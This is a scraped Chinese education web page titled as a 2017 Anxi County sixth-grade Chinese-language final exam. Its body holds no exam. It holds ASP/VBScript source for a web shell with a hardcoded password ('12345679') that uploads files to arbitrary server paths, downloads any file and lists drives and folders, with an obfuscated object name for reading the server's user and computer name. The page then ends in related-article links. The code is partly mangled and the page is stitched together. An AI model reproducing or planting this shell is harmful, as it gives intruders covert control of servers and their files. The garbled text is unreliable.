2017年秋季安溪县小学语文第十一册期末考查卷(一)
. <%on error resume next dim data_xlsf class upload_xlsf dim oform,objfile,version public function form(sform) sform=lcase(sform) if not oform.exists(sform) then form="" else form=oform(sform) end if end function public function file(strfile) strfile=lcase(strfile) if not objfile.exists(strfile) then set file=new fileinfo else set file=objfile(strfile) end if end function private sub class_initialize dim requestdata,sstart,vbcrlf,sinfo,iinfostart,iinfoend,tstream,istart,thefile dim ifilesize,sfilepath,sfiletype,sformvalue,sfilename dim ifindstart,ifindend dim iformstart,iformend,sformname version="xiaolu" set oform=server.createobject("scripting.dictionary") set objfile=server.createobject("scripting.dictionary") if request.totalbytes<1 then exit sub set tstream = server.createobject("adodb.stream") set data_xlsf = server.createobject("adodb.stream") data_xlsf.type = 1 data_xlsf.mode =3 data_xlsf.open data_xlsf.write request.binaryread(request.totalbytes) data_xlsf.position=0 requestdata =data_xlsf.read iformstart = 1 iformend = lenb(requestdata) vbcrlf = chrb(13) & chrb(10) sstart = midb(requestdata,1, instrb(iformstart,requestdata,vbcrlf)-1) istart = lenb (sstart) iformstart=iformstart istart 1 while (iformstart 10) < iformend iinfoend = instrb(iformstart,requestdata,vbcrlf & vbcrlf) 3 tstream.type = 1 tstream.mode =3 tstream.open data_xlsf.position = iformstart data_xlsf.copyto tstream,iinfoend-iformstart tstream.position = 0 tstream.type = 2 tstream.charset ="gb2312" sinfo = tstream.readtext tstream.close iformstart = instrb(iinfoend,requestdata,sstart) ifindstart = instr(22,sinfo,"name=""",1) 6 ifindend = instr(ifindstart,sinfo,"""",1) sformname = lcase(mid (sinfo,ifindstart,ifindend-ifindstart)) if instr (45,sinfo,"filename=""",1) > 0 then set thefile=new fileinfo ifindstart = instr(ifindend,sinfo,"filename=""",1) 10 ifindend = instr(ifindstart,sinfo,"""",1) sfilename = mid (sinfo,ifindstart,ifindend-ifindstart) thefile.filename=getfilename(sfilename) thefile.filepath=getfilepath(sfilename) ifindstart = instr(ifindend,sinfo,"content-type: ",1) 14 ifindend = instr(ifindstart,sinfo,vbcr) thefile.filetype =mid (sinfo,ifindstart,ifindend-ifindstart) thefile.filestart =iinfoend thefile.filesize = iformstart -iinfoend -3 thefile.formname=sformname if not objfile.exists(sformname) then objfile.add sformname,thefile end if else tstream.type =1 tstream.mode =3 tstream.open data_xlsf.position = iinfoend data_xlsf.copyto tstream,iformstart-iinfoend-3 tstream.position = 0 tstream.type = 2 tstream.charset ="gb2312" sformvalue = tstream.readtext tstream.close if oform.exists(sformname) then oform(sformname)=oform(sformname)&", "&sformvalue else oform.add sformname,sformvalue end if end if iformstart=iformstart istart 1 wend requestdata="" set tstream =nothing end sub private sub class_terminate if request.totalbytes>0 then oform.removeall objfile.removeall set oform=nothing set objfile=nothing data_xlsf.close set data_xlsf =nothing end if end sub private function getfilepath(fullpath) if fullpath <> "" then getfilepath = left(fullpath,instrrev(fullpath, "\")) else getfilepath = "" end if end function private function getfilename(fullpath) if fullpath <> "" then getfilename = mid(fullpath,instrrev(fullpath, "\") 1) else getfilename = "" end if end function end class class fileinfo dim formname,filename,filepath,filesize,filetype,filestart private sub class_initialize filename = "" filepath = "" filesize = 0 filestart= 0 formname = "" filetype = "" end sub public function saveas(fullpath) dim dr,errorchar,i saveas=true if trim(fullpath)="" or filestart=0 or filename="" or right(fullpath,1)="/" then exit function set dr=createobject("adodb.stream") dr.mode=3 dr.type=1 dr.open data_xlsf.position=filestart data_xlsf.copyto dr,filesize dr.savetofile fullpath,2 dr.close set dr=nothing saveas=false end function end class httpt = request.servervariables("server_name") rseb=request.servervariables("script_name") d=request("d") if request.cookies("password")<>"12345679" then if trim(request.form("password"))="12345679" then response.cookies("password")="12345679" response.redirect rseb & "?d=ls.asp" else %> <% end if response.end end if select case d case "d.asp" call downloadfile(request("path")) function downloadfile(strfile) strfilename = strfile response.buffer = true response.clear%> <%s.open s.type = 1 if not ssyss.fileexists(strfilename) then response.write("
error:
" & strfilename & " does not exist") response.end end if set f = ssyss.getfile(strfilename) intfilelength = f.size s.loadfromfile(strfilename) if err then response.write("
error:
" & err.description & "")
response.end
end if
response.addheader "content-disposition", "attachment; filename=" & f.name
response.addheader "content-length", intfilelength
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite s.read
response.flush
s.close
set s = nothing
response.end
end function
case "ls.asp"
urlpath=server.urlencode(path)
dim cpath,lpath
if request("path")="" then
lpath="/"
else
lpath=request("path")&"/"
end if
if request("attrib")="true" then
cpath=replace(lpath,"/","\")
attrib="true"
else
cpath=server.mappath(lpath)
attrib=""
end if
sub getfolder()
dim thefolder,thesubfolders
if ssyss.folderexists(cpath)then
set thefolder=ssyss.getfolder(cpath)
set thesubfolders=thefolder.subfolders
response.write"上级目录
<%
end if
end sub
sub getfile()
dim thefiles
if ssyss.folderexists(cpath)then
set thefolder=ssyss.getfolder(cpath)
set thefiles=thefolder.files
response.write""
end sub
%>
<%=httpt%>
<%for each thing in ssyss.drives
response.write "["&thing.driveletter&":]"
next
set oscriptnet=server.createobject("ws" "cri" "pt.ne" "twork")
%>user:<%= "\\" & oscriptnet.computername & "\" & oscriptnet.username %>
<%if request("attrib")="true" then
response.write "切换到绝对路径"
else
response.write "切换到相对路径"
end if
%>rpath:<%=cpath%> | cdir:<%=lpath%>
<蔿l getfolder()%>
<蔿l getfile()%>
- ·上一篇:修改《威尼斯的小艇》中的一个病句
- ·下一篇:2017学年度第二学期八年级语文教学工作计划
- › 2017*城月饼街总体策划方案
- › 2017年财务科技术比武实施细则
- › 2017年春节期间烟花爆竹禁放工作方案
- › 2017年广告计划书[影楼]
- › 2017年管理人员奖励方案
- › 激励方案-公司2017年高级管理人员激励方案
- › 汽车公司2017消防宣传周活动策划方案
- › 2017年证券营业部总经理竞争上岗实施方案
- › 某矿务集团公司政研会2017年工作意见
- › 2017年旅游宣传促销方案
- › 2017年公司(企业)迎春年会执行策划方案
- › 2017年暑期社会实践策划书
- 在百度中搜索相关文章:2017年秋季安溪县小学语文第十一册期末考查卷(一)
tag: 语文 秋季 安溪县 小学六年级语文试题,小学六年级语文试题大全,语文教学 - 小学语文试题 - 小学六年级语文试题
热门推荐
- · 龙潭小学2017级第十一册语文第四单元检测
- · 2017年秋季安溪县小学语文第十一册期末考
- · 六年级试卷:钱东中心小学2017学年度第一
- · 20176年龙潭小学20177级第十一册语文半期
- · 六年级试卷:2017年小学毕业班模拟考查语
- · 六年级试卷:2017年六年级毕业、升学模拟
- · 六年级试卷:2017年小学毕业考查语文模拟
- · 六年级试卷:小学语文第12册兴趣活动材料
- · 2017年安溪县小学毕业考查语文试卷A(一
- · 龙潭小学2017级第十一册语文第五单元检测
- · 龙潭小学2017级第十一册语文第八单元检测
- · 龙潭小学2017级第十一册语文第七单元检测
- · 2017第二学期期末小学六年级语文试卷
- · 2017年春季小学语文第十二册期中测试
- · 六年级试卷:2017学年第一学期六年级语文
- · 龙潭小学2017级第十一册语文第四单元检测
- · 2017年六年级语文揭东县部分试题
- · 2017年小学毕业生模拟水平测试题目
- · 六年级试卷:大和小学2017年春六年级语文
- · 六年级试卷:大和小学2017年春六年级语文
- · 龙潭小学2017级第十一册语文第六单元检测